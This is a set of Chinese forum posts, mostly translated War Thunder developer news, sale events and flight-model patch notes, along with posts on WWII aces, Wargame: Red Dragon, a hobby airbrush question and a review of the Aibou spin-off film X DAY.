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【官网文渣翻译科普向】历史贴二连发...
问一个关于截击雷达的问题 德国人的截击雷达似乎都喜欢把天线露在外边,而英国人似乎就没那么夸张而是会有大鼻子把雷达包住……这两者谁更合适?有没有更先进的布置?截击雷达里哪个性能更好?
【渣翻译科普向】英国头号夜战王牌——布兰斯·布尔布里奇
【渣翻译科普向】夜战王牌——约翰·“猫眼”·卡林汉姆 老爷子照片镇楼
【科普向渣翻译】英国头号王牌强尼·约翰逊 强尼·约翰逊及其爱机和爱狗合影镇楼
【官网文渣翻译】波利卡波夫和阔日杜布生日 这是波利卡波夫设计的各种飞机里产量最大的一种:波-2,其主要用途是在夜间执行骚扰任务。图中飞机采用的是南斯拉夫涂装,由Spogooter同志制作。
求鞭挞 求指导 不知道之前有没有在这发过 书名是《二战全史》 作者:[英]安东尼·比弗
【科普向渣翻译】官网历史专栏 I'm back!!!依然是带来没什么人看的历史专栏,嘛...鉴于吧里气氛越来越浮躁,开个无聊的历史贴来装个逼...
【坦克 20140526】求教郡仕PS351的使用事项 两个月前买的郡仕PS351,之前简单试了试没有问题。但是昨天晚上想给小号手的挑2增强装甲上色的时候大概开泵二十分钟后,突然气压下降。是泵一端的软管处破了一个小洞,此时泵非常烫手。不知道是因为气压太大还是泵开的时间太长发热导致软管强度下降...求此泵使用的注意事项
又一个卫星落地了... 毛子的“乘员加入”已在超值套餐中,目前可以做到左右和俯仰时转动对应摇把和转弯时转动方向盘,暂时没有开火和装弹动作比较遗憾...发动机转动... 下面是坦克教程,用的是萌萌的T-50... 教你打正面观察孔...果然豹子的侧面是纸糊的...一发APCR过去...TMD爆了...我才45mm啊...果然是纸糊的
走过路过不要错过...红龙最新预告视频... 视频来自:http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fwww.iqiyi.com%2Fcommon%2Fqplay.html%3Fcnid%3D23%26tvid%3D853203709%26vid%3Dcea4cc19d04ab900c2893e516d269fa3&urlrefer=f823d73e4d30b3426c6b0e46fa60e0ae
【渣翻译】每月王牌——冈瑟·拉尔
来看看大家能不能找到亮点所在...
转贴:【开发者日志】陆战损伤模型之二_飞机世界吧_百度贴吧 【开发者日志】陆战损伤模型之二_飞机世界吧_百度贴吧内容来自:http://tieba.baidu.com/p/2780024878
【新闻】陆战内测开始! 今天两篇新闻由瓜叔和我分别放出 飞行员和坦克手们: 我们很高兴地向你们宣布,WT计划终于推进到了下一个阶段: 陆战内测(CBT)了。 过去的三周内,我们陆战指挥部一共发布了26个任务,每完成一项任务就能增加玩家得到进入CBT机会的几率。今天,很少的一部分玩家已经收到了邮件,得到了参加CBT的邀请。 如果你已经完成了全部或者其中一部分的任务,但却未能收到邮件,也不用着急。我们将每天邀请一部分玩家参加测试。需要注意的是,我们将禁止在未得到开发人员同意的情况下泄露与CBT相关的内容之行为,在加入CBT之前还需要签署保密协议。 另一种参加的方法是 购买我们的坦克收藏包,其中包含了特别的金币车、独享的贴纸和称号,详情请参见瓜叔的贴 目前参加CBT的人员名单并没完全制作好,所以请大家密切关注我们网站的通知。 战场上见吧! WT开发团队
大口径的又一力作Tempest Mk V Series 2 Tempest Mk V Series 2,暴风 Mk V 系列2,是暴风系列同时满足新飞机设计和战场迫切需求的版本,在这个版本里,暴风开始换装Hispano Mk V机炮,而这次游戏中添加的则是另一种,两个翼下吊舱,各装47mm Vickers Class P Gun。 该机其实只有一架试验机,生产编号SN345 备弹:76发……甩了斯图卡九条街…… 其AP弹穿深为100-120mm,所以千万别以为口径小它就不强大了。
又一个大♂diao来啦... 继上次1.35更新了搭载有45mm机炮的苏联雅克-9K和搭载57mm机炮的日本Ki-102重战,以及前不久公布的1.36新增的搭载有75mm机炮的德国Hs 129 B-3之后,英国终于也迈入了拥有超过37mm机炮的大♂diao行列...暴风 Mk V系列2,翼下挂载两门47mm维克斯P机炮。 其实装有Hispano Mk V的暴风就是暴风Mk V系列2,这里的这架是其中一架试作实验机,飞机生产编号SN345相关介绍:http://www.quarry.nildram.co.uk/Pgun.htm
★相棒Aibou★【1119 讨论】说说我个人对X DAY的看法 虽然在吧里已经看到了很多讨论,不过我还是毅然决然地下载了,而且看完了... 首先,我个人是不太能理解为什么很多吧友说X DAY不好看,这部片子作为外传,就是要暂时抛开主人公,让配角们走到前台来,上次米泽的外传可以说把米泽这位鉴识课人员刻画得非常丰满,而这次伊丹则比米泽那次更好。当然,非要说没有右京不成相棒,那我就没啥可说的了...个人感觉不同,没有对错,也就不过多做评论了。 剧本,由于是和电脑犯罪对策课相关,而电脑犯罪发生最多的领域就是金融界,可以说其故事发生的平台非常好,从第十一季里看到的几次和电脑犯罪对策课互动的案件来看,也和商业纠纷有着密不可分的关系。可以说作为田中圭饰演的专门搜查官登场地点最为合适,出场方式也很有意思,出现在杀人现场,并且不是以平淡的登场自我介绍来开场,而是伊丹在楼顶用望远镜观察三浦的动作,再由三浦叔指向他,随后再来介绍。片山、神户和右京出场虽然显得和本案毫无关系,但是自有其巧妙之处,第一,片山和神户都是一季没出场,神户好歹还几次提起过,片山基本就没人提,这次提起提升了两人的存在感;第二,片山这次的片子里借着神户和右京的帮助抓住了财务省、金融厅和大银行的把柄,虽与本案无关,但这很可能是为后文做铺垫,毕竟剧场版除了有交代故事的作用之外还有为后文做铺垫的用处,例如剧场版2里小野田官房长的死,在之后也提起过,甚至有与之相关的案件发生。也许后面片山再出场时就利用这里的把柄掌握了金融界也说不定。第三,从另一个侧面描写右京的特点,虽然财务数据分析这种东西和相棒的本质关系不大,之前也有体现,但是在外传性质的作品里提出来无疑让右京的形象近一步丰满。第四,神户和右京的关系再刻画,虽然11季几次提到神户,但是神户始终和右京没有正面性的互动,这次终于有了,而且两人的关系也从常见的右京使唤神户变成神户使唤右京,颇有意思,第五就是将X DAY这个真正的意思不通过案件相关者,而是右京这个受托分析的旁观者口中说出,可以说也颇显艺术性,表现手法相当有趣。其实案件本身和相棒正剧的案件相比,推理性算是中等,但是表现手法上加分不少。 再说组合,虽然是外传,相棒就是相棒,即便右京不在,也不缺相棒,这次外传里其实有两个组合:伊丹和岩月以及大河内和角田。老实说,伊丹这种行动派一线刑警和岩月这种主要负责后方支援的专门搜查官组合我觉得有点像右京和神户,当然,伊丹绝对没有右京的分析推理能力,岩月也没有神户的机智和身手,但是总觉得有些神似,尤其是两人斗嘴的时候,总让我不禁想起神户和右京斗嘴的情景。而大河内和角田的组合就让我想到了右京和龟山君,特别是当大河内知道是内村部长让搜查二课来组对五课提人出门,角田紧随其后披上外套的时候,我就在想,如果角田课长披上的不是西装而是夹克,那活脱脱就是个Kameyama君嘛,从行动上来说,角田课长虽然是课长,不过他多数还是干的体力活,论脑子转得快还是大河内监察官,比如厉声质问搜查二课是从何处得知人在组对五课,还有得知是内村部长之后立刻去找他这么几点,而此时角田课长则相对就是跟随大河内的形象,这和龟山君与右京的行动方式又有类似,让人还是有点怀念的... 说说看人物吧...主要还是看主角。伊丹大家都很熟悉,但是他确实有几个让人不能理解的地方不是么?他作为一个富有正义感的警察,却常常不得不遵照组织的意志放弃搜查,虽然他也会将这些案件的情报泄露给特命,但是其本人对特命又有些不屑,另外,他非常喜欢从其他课室抢案件的搜查主动权,而我们一般认为这纯粹是无聊的派系争斗。在这次的外传里,伊丹也用自己说出的台词来解释了一部分相关问题。“一个大活人死掉了啊...”一如既往,伊丹激情的言辞,其实这话在相棒里也不是第一次出现了,不管是右京、龟山君、神户、甲享甚至伊丹自己都说过(如果我记的不错的话),不过那些和这次又稍有不同,之前大多是指责凶手,最多也就是指责案件相关者,这次伊丹指责的则是同为警察的岩月,这一点上来看,伊丹炽热的刑警魂还真是暴露无遗。“案件的本质一旦被扭曲的话,杀人案的搜查就会陷入僵局”,当岩月认为伊丹说出案件会被二课抢走而说这是无聊的派系斗争的时候,伊丹说了这样的话,这句话一下就解释清楚了伊丹为什么喜欢甚至可以说热衷于抢走别人的案件:搜一不同于其他的案件,搜一的案件都是性质最恶劣的犯罪,杀人案更是家常便饭,而在这些案件中,被害人的生命安全往往会遭受严重的威胁甚至失去生命,伊丹作为一个刑警,他最不能容忍的是让一个鲜活的生命不明不白的消失,这一句无疑起到了一箭双雕的作用,一来如我前文所述,解释伊丹如此行为的真正用意,二来也和伊丹一直以来的性格特点统一融合,丰满了形象。“哥头次看到内村部长这样...尼玛这案子后面到底是毛情况”,伊丹在受到内村部长拜托让他不要继续查银行之后这么说,老实说,我当时真的怀疑伊丹会因为内村部长如此重托而屈服(虽然这样的话,后面近一个小时的内容都没了),不过这句话的出现一来是表明他接下来查案的决心,二来也是为后面回应岩月所说“我看错你了”做铺垫。最终在满天纸币飞舞的情况下,伊丹逮捕犯人更是有强烈的艺术效果,总体来说这个片子刻画的伊丹非常好,比米泽的那个外传刻画的米泽更好。田中圭饰演的岩月,一开始是典型的上班族型的警察,只负责自己所负责的那片,循规蹈矩,不敢越雷池一步,和神户初入特命类似,与伊丹这样的炽热刑警一起,观念上的不同就擦出了火花,两个人的斗嘴也由此开始,随着合作的深入,双方也由互相敌视渐渐成为了工作上的好搭档,在上面限制搜查的情况下依旧坚持将案件查个水落石出...其实上面这段话把伊丹换成右京,岩月换成神户不是一样成立么...岩月的角色背景设定其实类似于右京,这就如同是让龟山君来当主演,右京来做龟山君的相棒一样...不过最终拍出的效果我前面也提过多次,是右京和神户的感觉。一开始两人分歧颇多,随着合作深入,二人渐入佳境,到了内村部长拜托那里,才第一次从岩月口中听到看中伊丹这种话。之后岩月的行动就越发接近伊丹,甚至在同僚的小田切面前发出了“有正义感的一线搜查官和连正义感都没有的专门搜查官,到底谁更无能”的疑问,可以说完成了角色的转变。 其实我觉得硬要说X DAY不好的地方,那么应该就是剧本所选择的金融界过分专业化,我个人是学金融的,对于这个主题我大致还能看懂,但是我身边几个朋友不是金融专业的就表示有些不明所以了,这个问题其实想想,也比较难解决,谁叫相棒选的是电脑犯罪对策课呢... 总而言之,我觉得X DAY作为相棒的一款衍生作品,一来达到了扩充世界观,丰满配角人物的要求,二来也增加了一下白痴三人组“自食其力”解决的案件的数量,还不忘侧面描写下右京这个主角。其实是不错的作品。另外,X DAY相比之下,其实并不是相棒主题那样的推理Drama,而是类似老套的刑警Drama,但是,老套,所以经典,相棒也增加了一个稍显另类的成员。 以上...
我只是觉得太喜感了而已... 这是在本吧的某贴里某君的说法原帖地址:http://tieba.baidu.com/p/2660533980#40570146789l 下面是某位飞机吧同好去德空吧求干货后有大神贴出的干货同一帖子下某君回复楼主的言论...原帖地址:http://tieba.baidu.com/p/2663528708 大家都来围观我吧...其实本来不想贴的,不过确实比较喜感...挂一下大家看看,然后就可以删了
来看看,来看看,我大女王系 当然,是玩家做的,添加了一些不违反原则,毛子科技树上又没有的东西,比如57蚊子等……
【渣翻译】Gaijin娱乐将参加Eurogamer展会 作为最近Gamescom展会最佳模拟游戏War Thunder的开发商和发行商,Gaijin娱乐今天宣布将携War Thunder和即将发售的Skydive:Proximity Flight(翼装滑翔:接近飞行)参加于9月26日至29日在英国伦敦举行的Eurogamer展会,届时将为玩家们带来使用Oculus Rift平台进行上述两种游戏的介绍试玩,并让玩家从中体验到上下翻飞于乱流之中的快感。 Eurogamer展会上,玩家将有机会试用Oculus Rift HD原型机在Skydive:Proximity Flight中感受翼装飞行的力与美。到会者也能借助该设备在War Thunder中“坐进”驾驶舱。War Thunder是一款二战题材的MMO战斗游戏,其中玩家可以感受到令人窒息的生死相搏的空中格斗。 玩家可在Eurogamer展会8区到访Oculus Rift展区了解。 关于War Thunder War Thunder是最先进的次世代二战题材MMO战斗游戏,其集合了空战、陆战和即将加入的海战于一体,让玩家感受全方位立体化战争。目前已有三百万玩家通过PC版客户端加入到空战的行列中来,这一玩家数还会继续呈指数向上增长。War Thunder目前在PC平台已在公测,并还在开发Mac OS和Oculus Rift平台版本,还将作为PS4平台的首发游戏出现。 关于Skydive:Proximity Flight Skydive:Proximity Flight是PS3和X360平台上的一款可下载的极限运动游戏,其采用了虚拟现实技术,玩家可以通过手柄或动作模拟技术来模拟翼装飞行的快感,玩家还能做出只有专业的翼装飞行员才能做出的空中技巧,也能独自或和朋友一起自创技巧。 关于Gaijin娱乐 Gaijin娱乐是在线游戏War Thunder和Star Conflict的开发商,也是横跨PC、Mac、PS4、PS3、X360、iOS和安卓的多平台开发商。公司的产品系列多次获得大众媒体和业界的奖项,例如KRI、Gamescom以及其他。 关于Oculus VR公司 Oculus VR公司正在革新玩家进行电子游戏的方式。公司的第一个产品就是备受瞩目的OculusRift,它是一款实用虚拟现实技术的一种头戴,有了它,玩家就能身临其境。它能展现出极为宽广的立体3D影像,头部的追踪延迟很低,让人有沉浸其中的感受。
【法国佬神马的好棒好棒的】战争游戏:红龙 法国佬开始搞《战争游戏》的第三部作品“红龙”(Wargame: Red Dragon)了。 看名字也知道战场搬到了东亚,这次将会加入两栖作战,原本就配备了两栖作战设备的BMP等作战车辆这次可以真正发挥作用了,豹2等主战坦克潜渡的能力也会在游戏中体现,还会有中小型舰只参与作战(终于还是搞成了三军联合作战的模式)。 此次的参考年代是1991年,当然,法国佬一向不科学的态度可能会继续向后延。设定中应该解体的苏联很成功地延续了其生命力...所以游戏里还将会有苏军这个老大哥出场。
【红龙版】每日新单位 和ALB一样,WRD在发售前在论坛上每周介绍一个新单位
转贴:【渣翻译】开发者日志:事件模式_飞机世界吧_百度贴吧 百度--您的访问出错了 内容来自:http://tieba.baidu.com/p/2598661431#0-tieba-1-81302-7eff13ea8df1a334a227e1223f8d0dd3
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【渣翻译】开发者日志:事件模式 57大屌镇楼
《战争游戏:红龙》曝光图 图中主角是游戏制作公司Eugen System所在的法国研制的“勒克莱尔”主战坦克...
先来三张曝光图 论坛目前放出的是三张壁纸图,图中的主角是法国著名坦克“勒克莱尔”主战坦克...
SWTOR——Join the Battle宣传视频 视频来自:http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fv.youku.com%2Fv_show%2Fid_XNjA4NzcyODgw.html&urlrefer=f17a37c7647500a9a798ae9c0c431114 官方制作的新的宣传视频,与原先的三个视频:回归(Return)、希望(Hope)和蒙蔽(Deceived)不同,这次的新视频并不涉及TOR内的世界观,是第一部完全是以宣传为任务的宣传片(上面列举的三部都还在游戏内负责作为游戏本身、帝国和共和国的开篇视频)。
【渣技术】金色的37炮——P-63库班无AI五杀 其实无非就是仗着屌大嘛...当然,其实更重要的一点是最后两架大屌:我的P-63和一位素不相识的队友的Yak-9T组成了大屌联盟,把两架有高度优势的109F拖带到了低空,互相掩护(貌似他们都打的是我的队友,我最后也没能把队友掩护活下来...)
【渣翻译】【活动】二战结束日 1945年9月2日,日本在美国的密苏里号战列舰上正式签订了无条件投降的投降书。这意味着这场人类有史以来最大规模的战争终于画上了句号。战争期间战火烧遍欧亚非三大洲和北冰洋、大西洋、太平洋和印度洋这四大洋。卷入战争的总人口数高达17亿。9月2日标志了可怕的战争终于结束,人们终于迎来了和平和自由的曙光。 --------------------------------------------------------------------------------- 从格林尼治时间9月2日18:00(北京时间9月3日凌晨0点,太平洋夏日时间9月2日11点)到9月4日6:00(北京时间9月4日14点,太平洋夏日时间9月3日23点),War Thunder提供如下折扣: 下列飞机享受7折(折扣30%)的优惠: 美国: P-63A-10, P-51D-5, F4U-1c, B-17E 苏联: Yak-3, La-7, La-7B-20, IL-10, Pe-2-359 英国: Typhoon Mk.Ib/L, Tempest Mk.V, Lancaster Mk.III, Mosquito FB Mk.VI 下列金币飞机享受4折(折扣60%)的优惠: D.520(英国), Spitfire Mk.IX(美国), I-16 type 28(苏联)
【渣翻译】【活动】二战结束日 1945年9月2日,日本在美国的密苏里号战列舰上正式签订了无条件投降的投降书。这意味着这场人类有史以来最大规模的战争终于画上了句号。战争期间战火烧遍欧亚非三大洲和北冰洋、大西洋、太平洋和印度洋这四大洋。卷入战争的总人口数高达17亿。9月2日标志了可怕的战争终于结束,人们终于迎来了和平和自由的曙光。 --------------------------------------------------------------------------------- 从格林尼治时间9月2日18:00(北京时间9月3日凌晨0点,太平洋夏日时间9月2日11点)到9月4日6:00(北京时间9月4日14点,太平洋夏日时间9月3日23点),War Thunder提供如下折扣: 下列飞机享受7折(折扣30%)的优惠: 美国: P-63A-10, P-51D-5, F4U-1c, B-17E 苏联: Yak-3, La-7, La-7B-20, IL-10, Pe-2-359 英国: Typhoon Mk.Ib/L, Tempest Mk.V, Lancaster Mk.III, Mosquito FB Mk.VI 下列金币飞机享受4折(折扣60%)的优惠: D.520(英国), Spitfire Mk.IX(美国), I-16 type 28(苏联)
【渣翻译】活动——“鹰日”行动 1940年8月13日,后世称为“不列颠之战”的战役第一阶段在英吉利上空展开。这个计划称为“雄鹰行动”,后世则称之为“鹰日”。约德国三分之二的轰炸机和半数的战斗机飞过英吉利海峡。 德国的计划是摧毁皇家空军,而当时皇家空军在海岸布置了雷达站以及其他侦测设备。空军元帅道丁计划以小编队迎战,他坚信那能有效限制对方的攻击。不过德国人还有其他计划。在袭击中,德国人摧毁了多座机场、雷达站和其他重要设施,这让后续的攻击能够延续数十周。尽管遭受了巨大的损失,德国还是以空袭赢得了在英吉利海峡和北海上空相当有利的攻击位置,这是在战术上是相当的成功。 活动:从格林威治标准时间8月13日19点到8日19点(太平洋时间8月13日0点到14日0点,北京时间8月14日3点到15日3点) 展开下列活动: 所有德国飞机的配件折扣25% 下列飞机折扣70%:Ju 88 A-4、He 111 H-3、He 111 H-6 历史模式下的特殊挑战: “鹰日”战斗机:使用德国飞机取得一定数量的击落(历史模式下)可获得奖励: 第一阶段:10杀得20000银狮 第二阶段:40杀得100000银狮 “鹰日”轰炸机:使用德国飞机取得一定数量的地面目标击毁(历史模式下)可获得奖励: 第一阶段:30杀得20000银狮 第二阶段:100杀得100000银狮
【渣翻译】活动——“鹰日”行动 1940年8月13日,后世称为“不列颠之战”的战役第一阶段在英吉利上空展开。这个计划称为“雄鹰行动”,后世则称之为“鹰日”。约德国三分之二的轰炸机和半数的战斗机飞过英吉利海峡。 德国的计划是摧毁皇家空军,而当时皇家空军在海岸布置了雷达站以及其他侦测设备。空军元帅道丁计划以小编队迎战,他坚信那能有效限制对方的攻击。不过德国人还有其他计划。在袭击中,德国人摧毁了多座机场、雷达站和其他重要设施,这让后续的攻击能够延续数十周。尽管遭受了巨大的损失,德国还是以空袭赢得了在英吉利海峡和北海上空相当有利的攻击位置,这是在战术上是相当的成功。 活动:从格林威治标准时间8月13日19点到8日19点(太平洋时间8月13日0点到14日0点,北京时间8月14日3点到15日3点) 展开下列活动: 所有德国飞机的配件折扣25% 下列飞机折扣70%:Ju 88 A-4、He 111 H-3、He 111 H-6 历史模式下的特殊挑战: “鹰日”战斗机:使用德国飞机取得一定数量的击落(历史模式下)可获得奖励: 第一阶段:10杀得20000银狮 第二阶段:40杀得100000银狮 “鹰日”轰炸机:使用德国飞机取得一定数量的地面目标击毁(历史模式下)可获得奖励: 第一阶段:30杀得20000银狮 第二阶段:100杀得100000银狮
【纯晒】小入... MB Exia R3GFF GX卫星微波炮,发射!GFF GX分裂者口琴炮,发射!GFF G-Bit卫星微波炮X12,发射!
我很高兴官方的QA太监了... 7月26日(我们是27日)的QA,按照惯例是周五提问,周六周日整理(原来会放录音原文,现在不放了),周一下午放出整理后的文本,结果现在周四了...
【渣翻译】每月王牌——魏纳·“老爹”·莫尔德斯上校 本来想偷懒直接转贴,但是不知道为什么转贴那个按钮不理我...作者靓照镇楼... 首先抱歉一下,因为这两天晚上家里没网络,没能第一时间送出翻译...
【渣翻译】每月王牌——魏纳·“老爹”·莫尔德斯上校 作者靓照镇楼... 首先抱歉一下,因为这两天晚上家里没网络,没能第一时间送出翻译...
关于那个帖子XXXX.....发个声明。 大家来看看什么叫无耻之尤
【渣翻译】英国皇家空军从1939-1941年的战术
【渣翻译】本月ACE——皮埃尔·克洛斯特曼 佩林镇楼
【渣翻译】13.6.23开发日志——经济系统 首先我不知道为什么毛子会写23日,格林威治和莫斯科都还在21日,北京时间也不过才22日...
【命中克马耳他】飓风II西西里3杀小视频... 为了刷马耳他变态的70杀涂装,我拿出了飓风II,结果杀了5架之后每次进马耳他都被109虐得很惨,而到了西西里至少能和对面玩一玩...郁闷... 这两场都赢了哦...虽然第一张上对面还留了架斯图卡,不过它已经和我方最后一架对头的时候起火了...很快就会判定为击落... 录像如下:
姝花姐生日?祝生日快乐! 我继续打飞机了... (在这还贩私货?PIA飞!)
终于打出来了... 历史英国一次开了不列颠、西西里、马耳他和新几内亚四张地图...于是我坑爹地开始刷马耳他...马耳他15杀涂装... 马耳他这张图,开局英国占有AB两点,A点是港口城市,在机场边,B点是机场,在本岛的另一端,附近有一个港湾。 A点不远处有德意联军的喷火船舰队,消灭这里可以完成保护港口的小任务,远处有驱逐舰组成的德意联军舰队,B点的港湾内有货舰,会放出登陆艇让地面部队登陆。B点机场有几个AAA但是没有掩护很容易被摧毁。总体地面目标总数为德意联军60:英军40...而且德意联军的地面部队有驱逐舰和坦克,比较难以应付,而英军这边也有碉堡。所以说这张地图总体是空战图,凭NPC的陆战基本是赢不下来的...(谁能拖到地面单位赢那真是神作...) 最后这一场,我开喷IX爬升,然后和一架G-10缠斗了近10分钟,最后G-10既甩不开我,也无法掌握主动,甚至让我追到双双失速的境地,只能俯冲救援低空被追的队友,结果跟随下来的我反而捡了便宜,击毁两架之后被机场的AAA击落了。那架G-10我没能击落,它最后又战了挺长时间才被击落。 顺便吐糟一句:怎么这涂装越看越像Bf 109F-4热带型... 录像在此...
【更新】1.31更新日志——飞行模型改动 附原文 Changes in FM 飞行模型改动 German FM changes 德系飞机飞行模型改动 Bf.109 series: 109E-3 109F-4 109G-6 109G-10 109K-4 Bf 109系列:109E-3、109F-4、109G-6、109G-10和109K-4 Moment Of Inertia changed 转动惯量改变 Spin and loss characteristics changed 尾旋和能量损失特性改变 Wing-profile recalculated, Lift and drag corrected due core code changes 机翼数据重新计算,升力和阻力因为核心代码变更进行更正 With this update the 109s feeling a bit less sluggish, more stability overall 这次更新后109总体会更加灵活稳定 109E3: tuned to have this performance: Max speed: 470 km/h at SL, 570 km/h at 5000m Max climb rate: 16.75 m/sec Virage time at 1000m: 19.75 sec 109E-3改动后的性能: 最高速度:海平面470公里/时,5000米高度570公里/时 最大爬升率:16.75米/秒 1000米处盘旋时间:19.75秒 109F4: tuned to have this performance: Max speed: 530 km/h at SL, 660 km/h at 6200m Max climb rate: 18.00 m/sec Virage time at 1000m: 20.00 sec 109F-4改动后的性能: 最高速度:海平面530公里/时,6200米高度660公里/时 最大爬升率:18.00米/秒 1000米处盘旋时间:20.00秒 109G2: tuned to have this performance: Max speed: 550 km/h at SL, 665 km/h at 6000m Max climb rate: 22.00 m/sec Virage time at 1000m: 22.00 sec 109G-2改动后的性能: 最高速度:海平面550公里/时,60000米高度665公里/时 最大爬升率:22.00米/秒 1000米处盘旋时间:22.00秒 109G6: tuned to have this performance: Max speed: 550 km/h at SL, 531 km/h at 6000m Max climb rate: 18.75 m/sec Virage time at 1000m: 23.75 sec 109G-6改动后的性能: 最高速度:海平面550公里/时,6000米高度531公里/时 最大爬升率:19.75米/秒 1000米处盘旋时间:23.75秒 109G10: tuned to have this performance: Max speed: 560 km/h at SL, 680 km/h at 7300m Max climb rate: 21.75 m/sec Virage time at 1000m: 22.75 sec 109G-10改动后的性能: 最高速度:海平面560公里/时,7300米高度680公里/时 最大爬升率:21.75米/秒 1000米处盘旋时间:22.75秒 109K4: tuned to have this performance: Max speed: 585 km/h at SL, 715 km/h at 7500m Max climb rate: 24.00 m/sec Virage time at 1000m: 21.75 sec 109K-4改动后的性能: 最高速度:海平面585公里/时,7500米高度715公里/时 最大爬升率:24.00米/秒 1000米处盘旋时间:21.75秒 Heinschel 129-B2 tuned to have this performance: Max speed: 385 km/h at SL, 418 km/h at 3000m Max climb rate: 8.50 m/sec Virage time at 1000m: 22.5 sec 亨舍尔Hs 129B-2改动后的性能: 最高速度:海平面385公里/时,3000米高度418公里/时 最大爬升率:8.50米/秒 1000米处盘旋时间:22.50秒 Russian FM changes: 苏系飞行模型改动: MiG-3: tuned to have this performance: Max speed:520 km/h at SL, 640 km/h at 7800m Max Military climb rate: 17.25 m/sec Virage time at 1000m: 22.85 sec 米格-3改动后的性能: 最高速度:海平面520公里/时,7800米高度640公里/时 最大爬升率:17.25米/秒 1000米处盘旋时间:22.85秒 British FM changes: 英系飞行模型改动: Spitfire series: Spitfire Mk.I, Spitfire Mk.II, Spitfire Mk.Vb, Spitfire Mk.Vc, Spitfire Mk.9, Spitfire Mk.XVI “喷火”系列:“喷火”Mk I、“喷火”Mk II、“喷火”Mk Vb、“喷火”Mk Vc、“喷火”Mk IX、“喷火”Mk XVI Moment Of Inertia changed 转动惯量改变 Spin and loss characteristics changed 尾旋和能量损失特性改变 Wingprofile recalculated Lift and drag corrected due core code changes 机翼数据重新计算,升力和阻力因为核心代码变更进行更正 Spitfire Mk.I: tuned to have this performance: Max speed: 460 km/h at SL, 582 km/h at 6100m Max climb rate: 14.00 m/sec Virage time at 1000m: 15.75 sec “喷火”Mk I改动后的性能: 最高速度:海平面460公里/时,6100米高度582公里/时 最大爬升率:14.00米/秒 1000米处盘旋时间:15.75秒 Spitfire Mk.II: tuned to have this performance: Max speed: 470 km/h at SL, 570 km/h at 6100m Max climb rate: 15.75 m/sec Virage time at 1000m: 17.25 sec “喷火”Mk II改动后的性能: 最高速度:海平面470公里/时,6100米高度570公里/时 最大爬升率:15.75米/秒 1000米处盘旋时间:17.25秒 Spitfire Mk.Vb: tuned to have this performance: Max speed: 485 km/h at SL, 605 km/h at 6300m Max climb rate: 15.75 m/sec Virage time at 1000m: 18.75 sec “喷火”Mk Vb改动后的性能: 最高速度:海平面485公里/时,6300米高度605公里/时 最大爬升率:17.75米/秒 1000米处盘旋时间:18.75秒 Spitfire Mk.Vc: tuned to have this performance: Max speed: 490 km/h at SL, 615 km/h at 6300m Max climb rate: 14.50 m/sec Virage time at 1000m: 19.75 sec “喷火”Mk Vc改动后的性能: 最高速度:海平面490公里/时,6300米高度615公里/时 最大爬升率:14.50米/秒 1000米处盘旋时间:19.75秒 Spitfire Mk.IX: tuned to have this performance: Max speed: 530 km/h at SL, 660 km/h at 7500m Max climb rate: 21.75 m/sec Virage time at 1000m: 16.75 sec “喷火”Mk IX改动后的性能: 最高速度:海平面530公里/时,7500米高度660公里/时 最大爬升率:21.75米/秒 1000米处盘旋时间:16.75秒 Spitfire Mk.XVI: tuned to have this performance: Max speed: 560 km/h at SL, 670 km/h at 7800m Max climb rate: 20.25 m/sec Virage time at 1000m: 19.25 sec Wingprofile recalculated, Lift and drag corrected due core code changes Spin and loss characteristics changed “喷火”Mk XVI改动后的性能: 最高速度:海平面560公里/时,7800米高度670公里/时 最大爬升率:20.25米/秒 1000米处盘旋时间:19.25秒 机翼数据重新计算,升力和阻力因为核心代码变更进行更正 尾旋和能量损失特性改变 Tempest V: tuned to have this performance: Max speed: 616 km/h at SL, 714 km/h at 5800m Max military climb rate: 19.65 m/sec Virage time at 1000m: 21.8 sec “暴风”Mk V改动后的性能: 最高速度:海平面616公里/时,5800米高度714公里/时 最大爬升率:19.65米/秒 1000米处盘旋时间:21.80秒 Typhoon Mk 1B :tuned to have this performance: Max speed:554 km/h at SL, 655 km/h at 5300m Max Military climb rate: 19.95 m/sec Virage time at 1000m: 19.0 sec “台风”Mk IB改动后的性能: 最高速度:海平面554公里/时,5300米高度655公里/时 最大爬升率:19.95米/秒 1000米处盘旋时间:19.00秒 Typhoon Mk 1B late :tuned to have this performance: Max speed:574 km/h at SL, 639 km/h at 5300m Max Military climb rate: 18.25 m/sec Virage time at 1000m: 20.45 sec “台风”Mk IB后期型改动后的性能: 最高速度:海平面574公里/时,5300米高度639公里/时 最大爬升率:18.25米/秒 1000米处盘旋时间:20.45秒 Japanese FM changes: 日系飞行模型改动 Zero trimmed out at mil speed and lift and drag corrected due core code changes 零式高速性能修改,升力和阻力因为核心代码变更进行更正 N1K2-j :tuned to have this performance: Max speed:561 km/h at SL, 651 km/h at 6100m Max Military climb rate: 20.25 m/sec Virage time at 1000m: 19.45 sec N1K2-J“紫电改”改动后的性能: 最高速度:海平面561公里/时,6100米高度651公里/时 最大爬升率:20.25米/秒 1000米处盘旋时间:19.45秒 N1K2-ja :tuned to have this performance: Max speed:563 km/h at SL, 658 km/h at 6100m Max Military climb rate: 20.25 m/sec Virage time at 1000m: 19.75 sec N1K2-Ja“紫电改”改动后的性能: 最高速度:海平面563公里/时,6100米高度658公里/时 最大爬升率:20.25米/秒 1000米处盘旋时间:19.75秒 KI-45 Ko : tuned to have this performance Max speed: 448 km/h at SL, 542 km/h at 4800m max military climb rate: 17.2 m/sec Virage time at 1000m: 18.5 sec Ki-45 Ko“屠龙甲”改动后的性能: 最高速度:海平面448公里/时,4800米高度542公里/时 最大爬升率:17.20米/秒 1000米处盘旋时间:18.50秒 KI-45 Otsu : tuned to have this performance; Max speed: 470 km/h at SL, 545 km/h at 6200m max military climb rate: 19.1 m/sec Virage time at 1000m: 18.7 sec Ki-45 Otsu“屠龙乙”改动后的性能: 最高速度:海平面470公里/时,6200米高度545公里/时 最大爬升率:19.10米/秒 1000米处盘旋时间:18.70秒 KI-45 Tei : tuned to have this performance; Max speed: 470 km/h at SL, 545 km/h at 6200m max military climb rate: 19.1 m/sec Virage time at 1000m: 18.7 sec Ki-45 Tei“屠龙丁”改动后的性能: 最高速度:海平面470公里/时,6200米高度545公里/时 最大爬升率:19.10米/秒 1000米处盘旋时间:18.70秒 KI-45 Hei : tuned to have this performance; Max speed: 470 km/h at SL, 545 km/h at 6200m max military climb rate: 19.1 m/sec Virage time at 1000m: 18.7 sec Ki-45 Hei“屠龙丙”改动后的性能: 最高速度:海平面470公里/时,6200米高度545公里/时 最大爬升率:19.10米/秒 